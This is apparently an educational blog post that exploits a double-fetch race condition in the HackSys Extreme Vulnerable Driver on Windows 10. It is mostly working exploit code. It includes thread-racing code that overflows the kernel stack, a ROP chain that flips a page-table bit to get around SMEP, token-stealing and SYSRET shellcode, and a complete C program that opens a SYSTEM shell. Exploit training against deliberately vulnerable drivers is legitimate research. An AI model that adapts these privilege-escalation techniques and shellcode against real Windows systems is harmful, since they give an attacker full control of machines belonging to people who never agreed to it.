Hi everyone,
In this blog post, I’m going to explain how to exploit a Race Condition (Double-Fetch) vulnerability in the HEVD (HackSys Extreme Vulnerable Driver) in a Windows 10 Pro:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
This post will be divided into two parts:
- Vulnerability Identification & Exploitation
- Protection Bypasses & Shellcode Execution
In the previous post, you can find also the explaination of how to install the vulnerable driver, and some of the generic function that I’m using to find ntoskrnl.exe base address:
HEVD – Write-What-Where – Windows 10 Pro – SMEP, kCFG, kASLR protections
1. Vulnerability Identification & Exploitation
1.1 Vulnerability Analysis
Disclaimer: After spending some time studying this topic, this is how I currently understand the vulnerability. Please note that it might not be 100% accurate, this is the first race condition I’ve ever tried to exploit. So I highly recommend double-checking it on your own as well. Thanks! 🙂
The vulnerability in this case is commonly known as a double fetch, which is a specific type of TOCTOU (Time-Of-Check to Time-Of-Use) race condition.
Here’s how I understand the flow:
- The driver first fetches a value (in this case, the Size field from a user-controlled structure).
- Then it checks whether the size is acceptable (e.g., if size < 0x808).
- Later, it fetches that same value again during a memory copy operation. (Double-Fetch)
Since both reads are directly from userland memory and there’s no internal copy made, a second thread can race in and modify the value between the check and the use. If the size is changed after passing the validation but before the copy, the driver will end up copying more data than intended, causing a kernel stack buffer overflow.

1.2 Source Code
Here we can see the vulnerability:

Link to the source code:
DoubleFetch.c
Link to the structures (we will need them later):
DoubleFetch.h
1.3 Reversing
And here we can see the size control value:


By inspecting the code in IDA, we can identify the function that contains the vulnerability. By analyzing the cross-references and tracing backward, we can determine the IOCTL code associated with it (this part is skipped as it was already explained in the previous blog post).
#define IOCTL_DOUBLE_FETCH 0x222037
1.4 Vulnerability Exploitation
We need to define two structures. The first is the one expected by HEVD, which is used for the double fetch.
// DOUBLE FETCH STRUCTURE typedef struct _DOUBLE_FETCH { PVOID Buffer; SIZE_T Size; } DOUBLE_FETCH;
The second structure contains all the variables our thread will require. Since we can only pass a single argument, we encapsulate everything into a single structure.
// Parameters for our Threads typedef struct { HANDLE hDriver; DOUBLE_FETCH* df; } THREAD_PARAMS;
We also define two global constants: one for the buffer size, and another for the number of threads.
// Buffer Length #define BUFFER_SIZE 0x900 #define NUM_THREADS 5
Now, we will create the two functions that will be executed concurrently in separate threads to trigger the race condition.
Function 1: working_thread
This function initializes the buffer size to 0x10 and uses the driver’s control code to request a buffer copy.
// WORKING CONDITION DWORD WINAPI working_thread(LPVOID lpParam) { THREAD_PARAMS* tp = (THREAD_PARAMS*)lpParam; HANDLE hDriver = tp->hDriver; DOUBLE_FETCH* df = tp->df; DWORD bytesReturned = 0; printf("[+] Calling Double Fetch control code 0x222037\n"); while (1) { df->Size = 0x10; if (df->Size != 0x10) { printf("[!] Size modified before the IOCTL: 0x%llx\n", df->Size); } DeviceIoControl(hDriver, IOCTL_DOUBLE_FETCH, df, sizeof(DOUBLE_FETCH), NULL, 0x00, &bytesReturned, NULL); } return 0; }
Function 2: race_thread
This function continuously attempts to modify the buffer size to 0x900. It is crucial to understand how the size is changed.
We must modify the Size field of the original DOUBLE_FETCH structure allocated in the main thread. If we use df->Size = 0x900, we would only be modifying a local copy, which is ineffective.
Instead, we must directly access the shared structure like this:
((THREAD_PARAMS*)lpParam)->df->Size = 0x900;
Here’s the full function:
// RACE CONDITION DWORD WINAPI race_thread(LPVOID lpParam) { printf("[+] Changing size on processor %d\n", GetCurrentProcessorNumber()); THREAD_PARAMS* tp = (THREAD_PARAMS*)lpParam; DOUBLE_FETCH* df = tp->df; while (1) { ((THREAD_PARAMS*)lpParam)->df->Size = 0x900; } return 0; }
Main function – Create Threads
This is the most critical part of the exploitation logic, where we create pairs of threads: one to invoke the vulnerable IOCTL, and another to trigger the race condition by modifying the input structure concurrently.
for (int i = 0; i < NUM_THREADS; i++) { hThread_work[i] = CreateThread(NULL, 0, working_thread, &threadParams, 0, NULL); hThread_race[i] = CreateThread(NULL, 0, race_thread, &threadParams, 0, NULL); }
Here’s the complete sequence, including initialization, thread creation, and cleanup:
// RACE CONDITION HANDLE hThread_work[NUM_THREADS] = { 0 }; HANDLE hThread_race[NUM_THREADS] = { 0 }; THREAD_PARAMS threadParams = { hHEVD, df }; printf("[+] DEBUG - df struct at : 0x%p\n", df); printf("[+] DEBUG - df.Buffer field at : 0x%p\n", &df->Buffer); printf("[+] DEBUG - df.Size field at : 0x%p\n", &df->Size); printf("[>] Press ENTER to continue...\n"); getchar(); printf("[+] Starting the RACE!!!\n"); for (int i = 0; i < NUM_THREADS; i++) { hThread_work[i] = CreateThread(NULL, 0, working_thread, &threadParams, 0, NULL); hThread_race[i] = CreateThread(NULL, 0, race_thread, &threadParams, 0, NULL); } // Collect all thread handles for cleanup HANDLE allThreads[NUM_THREADS * 2]; for (int i = 0; i < NUM_THREADS; i++) { allThreads[i] = hThread_work[i]; allThreads[i + NUM_THREADS] = hThread_race[i]; } Sleep(10000); WaitForMultipleObjects(NUM_THREADS * 2, allThreads, TRUE, 10000); // Cleanup for (int i = 0; i < NUM_THREADS; i++) { TerminateThread(hThread_work[i], 0); CloseHandle(hThread_work[i]); TerminateThread(hThread_race[i], 0); CloseHandle(hThread_race[i]); }
2. Protection Bypasses & Shellcode Execution
The first step is to identify the exact offset at which we can overwrite the RIP. In this case, the offset is 0x808.
To reach the RIP, we first need to add padding. We’ll use a sequence of ‘A’ characters to fill the space up to that point:
DWORD fill_buffer_with_shellcode(LPVOID nt_base, LPVOID executableShellcode) { printf("[+] Generating payload\n"); ... memset(executableShellcode, 'A', 0x808);
At this stage, the buffer is filled with padding up to the return address. Next, we overwrite the RIP with the start of our ROP chain.
2.1 Constructing the ROP Chain – Disabling SMEP
The purpose of the ROP chain is to disable SMEP (Supervisor Mode Execution Protection), allowing the kernel to execute code located in user-mode memory.
To achieve this, we need to perform several steps. The first one involves retrieving the PTE (Page Table Entry) corresponding to our user-mode buffer.
To do this, we can invoke the nt!MiGetPteAddress function, passing the address of our buffer as the first parameter. This function will return the PTE, which we will later manipulate to clear the NX (No Execute) and/or User flag, effectively bypassing SMEP restrictions.
Before explaining the code, I’m going to show what the PTE of our allocated buffer looks like. Please note that the U/S flag is set to user (U):

// PTE *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x243d0e; i = i + 0x08; // 0x140243d0e: pop rcx ; ret ; *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = (uint64_t)executableShellcode; i = i + 0x08; // RCX=Shellcode PTR *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x332728; i = i + 0x08; // nt!MiGetPteAddress
We are going to subtract 0x8 to the PTE value, because the gadget that we will use later will add 0x8 to the provided value:
// PTE - 0x8, because later we will do xor [PTE+0x8], 0x4 *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x6b2bb0; i = i + 0x08; // 0x1406b2bb0: pop rdx ; ret ; *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = 0x0000000000000008; i = i + 0x08; // 0x8 *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x3391d3; i = i + 0x08; // 0x1403391d3: sub rax, rdx ; ret ;
Next, we will put a 0x4 in EDX, because that is the value that we will need for the XOR.
// EDX = 0x4 *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x243d0e; i = i + 0x08; // 0x140243d0e: pop rcx ; ret ; *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = 0x0000000000000004; i = i + 0x08; // 0x4
And finally we will flip the U/S bit to Kernel Mode:
// [PTE] XOR 0x4 = This will flip U/S bit to Kernel Mode *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x24f804; i = i + 0x08; // 0x14024f804: xor dword [rax+0x08], ecx ; mov rbx, qword [rsp+0x08] ; mov rdi, qword [rsp+0x10] ; ret
If we execute the whole ROP chain, we can verify that the current value for the U/S bit is K (Kernel):

And with SMEP disabled, we are ready to execute our shellcode:
// SHELLCODE *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = (uint64_t)executableShellcode; i = i + 0x08;
2.2 Token Stealing & SYSRET shellcodes
To successfully exploit the vulnerability and achieve code execution as SYSTEM, I needed two essential pieces of shellcode:
- A token stealing shellcode to escalate privileges.
- A flow-restoring shellcode to prevent a BSOD after the payload is executed.
Token Stealing
The first part of the payload is responsible for stealing the SYSTEM token and assigning it to the current process. This is a classic technique used in kernel exploits to escalate privileges. It involves navigating kernel structures like _KTHREAD, _EPROCESS, and manipulating the Token field.
// Token stealing for current PID // Extracted via: xxd -i shellcode.bin unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // NOP padding 0x48, 0x31, 0xc0, // xor rax, rax 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, // mov rax, gs:[0x188] ; KTHREAD 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, // mov rax, [rax+0xb8] ; EPROCESS 0x49, 0x89, 0xc0, // mov r8, rax ; Copy current EPROCESS 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, // mov rax, [rax+0x448] ; ActiveProcessLinks 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, // sub rax, 0x448 ; Go back to EPROCESS 0x48, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00, // mov rcx, [rax+0x440] ; PID 0x48, 0x83, 0xf9, 0x04, // cmp rcx, 4 ; PID 4 = SYSTEM 0x75, 0xe6, // jne -26 ; Loop 0x4c, 0x8b, 0x88, 0xb8, 0x04, 0x00, 0x00, // mov r9, [rax+0x4b8] ; SYSTEM Token 0x4d, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00 // mov [r8+0x4b8], r9 ; Replace token };
After execution, the current process will hold the SYSTEM token, granting full administrative privileges.
SYSRET
If you were to execute only the privilege escalation shellcode in kernel mode, the system would likely crash (BSOD) when returning to user mode. This happens because the context from which the shellcode was called has been corrupted, or the return doesn’t happen in a controlled, clean way.
To avoid this, I added a second stage of shellcode that restores the original execution context using information from the thread’s trap frame and gracefully returns back to user mode using the SYSRET instruction.
This method is inspired by Kristal-g’s excellent research on safe returns from ring-0:
// SYSRET - Return from Ring 0 to Ring 3 // References: // https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html // https://github.com/Kristal-g/kristal-g.github.io/blob/master/assets/code/shellcode_iret_blog.asm 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rax, gs:[0x188] ; KTHREAD 0x66, 0x8B, 0x88, 0xE4, 0x01, 0x00, 0x00, // mov cx, [rax+0x1e4] ; KernelApcDisable 0x66, 0xFF, 0xC1, // inc cx 0x66, 0x89, 0x88, 0xE4, 0x01, 0x00, 0x00, // mov [rax+0x1e4], cx 0x48, 0x8B, 0x90, 0x90, 0x00, 0x00, 0x00, // mov rdx, [rax+0x90] ; KTHREAD >> TrapFrame 0x48, 0x8B, 0x8A, 0x68, 0x01, 0x00, 0x00, // mov rcx, [rdx+0x168] ; KTHREAD >> TrapFrame >> Rip 0x4C, 0x8B, 0x9A, 0x78, 0x01, 0x00, 0x00, // mov r11, [rdx+0x178] ; KTHREAD >> TrapFrame >> EFlags 0x48, 0x8B, 0xA2, 0x80, 0x01, 0x00, 0x00, // mov rsp, [rdx+0x180] ; KTHREAD >> TrapFrame >> RSP 0x48, 0x8B, 0xAA, 0x58, 0x01, 0x00, 0x00, // mov rbp, [rdx+0x158] ; KTHREAD >> TrapFrame >> RBP 0x31, 0xC0, // xor eax, eax 0x0F, 0x01, 0xF8, // swapgs 0x48, 0x0F, 0x07 // sysret };
With this final piece of shellcode, we can cleanly return from ring-0 to ring-3, restoring control to the user-mode process without crashing the system.
At this point, our exploit is complete, and we can successfully trigger the race condition to elevate privileges and become NT AUTHORITY\SYSTEM 🙂
Below you can find the complete exploit. Thank you, see you soon, and Happy Hacking!

#include <iostream> #include <stdio.h> #include <stdlib.h> #include <Windows.h> #include <Psapi.h> // DOUBLE FETCH STRUCTURE // https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/DoubleFetch.h typedef struct _DOUBLE_FETCH { PVOID Buffer; SIZE_T Size; } DOUBLE_FETCH; // Parameters for our Threads typedef struct { HANDLE hDriver; DOUBLE_FETCH* df; } THREAD_PARAMS; // I/O Request Packets (IRPs) #define IOCTL_STACK_BUFFER_OVERFLOW 0x222003 #define IOCTL_ARBITRARY_WRITE 0x22200B #define IOCTL_DOUBLE_FETCH 0x222037 // Buffer Length #define BUFFER_SIZE 0x900 #define NUM_THREADS 5 // Structure needed to call nt!NtQueryIntervalProfile typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); extern "C" void KernelShellcode(); // NT BASE LPVOID GetBaseAddr(LPCWSTR drvname) { LPVOID drivers[1024]; DWORD cbNeeded; int nDrivers, i = 0; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { WCHAR szDrivers[1024]; nDrivers = cbNeeded / sizeof(drivers[0]); for (i = 0; i < nDrivers; i++) { if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) { if (wcscmp(szDrivers, drvname) == 0) { return drivers[i]; } } } } return 0; } // PTE CALCULATION ULONGLONG get_pte_address_64(ULONGLONG address, ULONGLONG pte_start) { ULONGLONG pte_va = address >> 9; pte_va = pte_va | pte_start; pte_va = pte_va & (pte_start + 0x0000007ffffffff8); return pte_va; } // WORKING CONDITION DWORD WINAPI working_thread(LPVOID lpParam) { THREAD_PARAMS* tp = (THREAD_PARAMS*)lpParam; HANDLE hDriver = tp->hDriver; DOUBLE_FETCH* df = tp->df; DWORD bytesReturned = 0; printf("[+] Calling Double Fetch control code 0x222037\n"); while (1) { df->Size = 0x10; if (df->Size != 0x10) { printf("[!] Size modified before the IOCTL: 0x%llx\n", df->Size); } DeviceIoControl(hDriver, IOCTL_DOUBLE_FETCH, df, sizeof(DOUBLE_FETCH), NULL, 0x00, &bytesReturned, NULL); } return 0; } // RACE CONDITION DWORD WINAPI race_thread(LPVOID lpParam) { printf("[+] Changing size on processor %d\n", GetCurrentProcessorNumber()); THREAD_PARAMS* tp = (THREAD_PARAMS*)lpParam; DOUBLE_FETCH* df = tp->df; while (1) { ((THREAD_PARAMS*)lpParam)->df->Size = 0x900; } return 0; } // CHECK PROCESSORS int CheckProcessors(void) { SYSTEM_INFO SystemInfo = { 0 }; /* Check if we have more than 2 processors as attack will take too long with less */ GetSystemInfo(&SystemInfo); if (SystemInfo.dwNumberOfProcessors < 2) { printf("[!] FATAL: You don't have enough processors, exiting!\n"); exit(-1); } int NumProcessors = SystemInfo.dwNumberOfProcessors; return NumProcessors; } DWORD fill_buffer_with_shellcode(LPVOID nt_base, LPVOID executableShellcode) { printf("[+] Generating payload\n"); // Token stealing for current PID // xxd.exe -i shellcode.bin unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // NOP Padding 0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00, 0x48, 0x83, 0xf9, 0x04, 0x75, 0xe6, 0x4c, 0x8b, 0x88, 0xb8, 0x04, 0x00, 0x00, 0x4d, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00, // SYSRET - Return from Ring 0 to Ring 3 // References: // https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html // https://github.com/Kristal-g/kristal-g.github.io/blob/master/assets/code/shellcode_iret_blog.asm 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rax, gs:[0x188] ; KTHREAD 0x66, 0x8B, 0x88, 0xE4, 0x01, 0x00, 0x00, // mov cx, [rax+0x1e4] ; KernelApcDisable 0x66, 0xFF, 0xC1, // inc cx 0x66, 0x89, 0x88, 0xE4, 0x01, 0x00, 0x00, // mov [rax+0x1e4], cx 0x48, 0x8B, 0x90, 0x90, 0x00, 0x00, 0x00, // mov rdx, [rax+0x90] ; KTHREAD >> TrapFrame 0x48, 0x8B, 0x8A, 0x68, 0x01, 0x00, 0x00, // mov rcx, [rdx+0x168] ; KTHREAD >> TrapFrame >> Rip 0x4C, 0x8B, 0x9A, 0x78, 0x01, 0x00, 0x00, // mov r11, [rdx+0x178] ; KTHREAD >> TrapFrame >> EFlags 0x48, 0x8B, 0xA2, 0x80, 0x01, 0x00, 0x00, // mov rsp, [rdx+0x180] ; KTHREAD >> TrapFrame >> RSP 0x48, 0x8B, 0xAA, 0x58, 0x01, 0x00, 0x00, // mov rbp, [rdx+0x158] ; KTHREAD >> TrapFrame >> RBP 0x31, 0xC0, // xor eax, eax 0x0F, 0x01, 0xF8, // swapgs 0x48, 0x0F, 0x07 // sysret }; memset(executableShellcode, 'A', 0x808); RtlMoveMemory(executableShellcode, shellcode, sizeof(shellcode)); memset((BYTE*)executableShellcode + sizeof(shellcode), 'A', 0x808 - sizeof(shellcode)); int i = 0x8; // PTE *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x243d0e; i = i + 0x08; // 0x140243d0e: pop rcx ; ret ; *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = (uint64_t)executableShellcode; i = i + 0x08; // RCX=Shellcode PTR *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x332728; i = i + 0x08; // nt!MiGetPteAddress // PTE - 0x8, because later we will do xor [PTE+0x8], 0x4 *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x6b2bb0; i = i + 0x08; // 0x1406b2bb0: pop rdx ; ret ; *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = 0x0000000000000008; i = i + 0x08; // 0x8 *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x3391d3; i = i + 0x08; // 0x1403391d3: sub rax, rdx ; ret ; // EDX = 0x4 *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x243d0e; i = i + 0x08; // 0x140243d0e: pop rcx ; ret ; *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = 0x0000000000000004; i = i + 0x08; // 0x4 // [PTE] XOR 0x4 = This will flip U/S bit to Kernel Mode *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x24f804; i = i + 0x08; // 0x14024f804: xor dword [rax+0x08], ecx ; mov rbx, qword [rsp+0x08] ; mov rdi, qword [rsp+0x10] ; ret // RET for debugging: bp nt+0x243d0e; bp nt+0x20059d *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = ULONGLONG(nt_base) + 0x20059d; i = i + 0x08; // 0x14020059d: ret ; // SHELLCODE *(DWORD64*)((BYTE*)executableShellcode + 0x800 + i) = (uint64_t)executableShellcode; i = i + 0x08; memset((BYTE*)executableShellcode + 0x800 + i, 'C', 0x900 - 0x800 - i); return 0; } int main() { printf("[+] Calling EnumDeviceDrivers to find NT base\n"); LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe"); printf("[+] NT base: 0x%p\n", nt_base); // Get a Handle to the HEVD driver HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE), 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hHEVD == INVALID_HANDLE_VALUE) { printf("[-] Failed to get a handle on HEVD\n"); return -1; } else { printf("[+] HEVD handler received\n"); } // CHECK PROCESSORS CheckProcessors(); // BUFFER printf("[+] Allocating space in USER-LAND for our buffer\n"); PVOID executableShellcode = VirtualAlloc(NULL, BUFFER_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE | PAGE_NOCACHE); printf("[+] Buffer allocated in USER-LAND: 0x%p\n", executableShellcode); // FILL BUFFER fill_buffer_with_shellcode(nt_base, executableShellcode); // DOUBLE FETCH STRUCTURE DOUBLE_FETCH* df = new DOUBLE_FETCH; df->Buffer = executableShellcode; df->Size = 0x10; // RACE CONDITION HANDLE hThread_work[NUM_THREADS] = { 0 }; HANDLE hThread_race[NUM_THREADS] = { 0 }; THREAD_PARAMS threadParams = { hHEVD, df }; //printf("[+] DEBUG - df struct at : 0x%p\n", df); //printf("[+] DEBUG - df.Buffer field at : 0x%p\n", &df->Buffer); //printf("[+] DEBUG - df.Size field at : 0x%p\n", &df->Size); printf("[>] Press ENTER to continue...\n"); getchar(); printf("[+] Starting the RACE!!!\n"); for (int i = 0; i < NUM_THREADS; i++) { hThread_work[i] = CreateThread(NULL, 0, working_thread, &threadParams, 0, NULL); hThread_race[i] = CreateThread(NULL, 0, race_thread, &threadParams, 0, NULL); } // Collect all thread handles for cleanup HANDLE allThreads[NUM_THREADS * 2]; for (int i = 0; i < NUM_THREADS; i++) { allThreads[i] = hThread_work[i]; allThreads[i + NUM_THREADS] = hThread_race[i]; } Sleep(10000); WaitForMultipleObjects(NUM_THREADS * 2, allThreads, TRUE, 10000); // Open a new cmd with NT/AUTHORITY SYSTEM privileges system("start cmd.exe"); // Cleanup for (int i = 0; i < NUM_THREADS; i++) { TerminateThread(hThread_work[i], 0); CloseHandle(hThread_work[i]); TerminateThread(hThread_race[i], 0); CloseHandle(hThread_race[i]); } return 0; }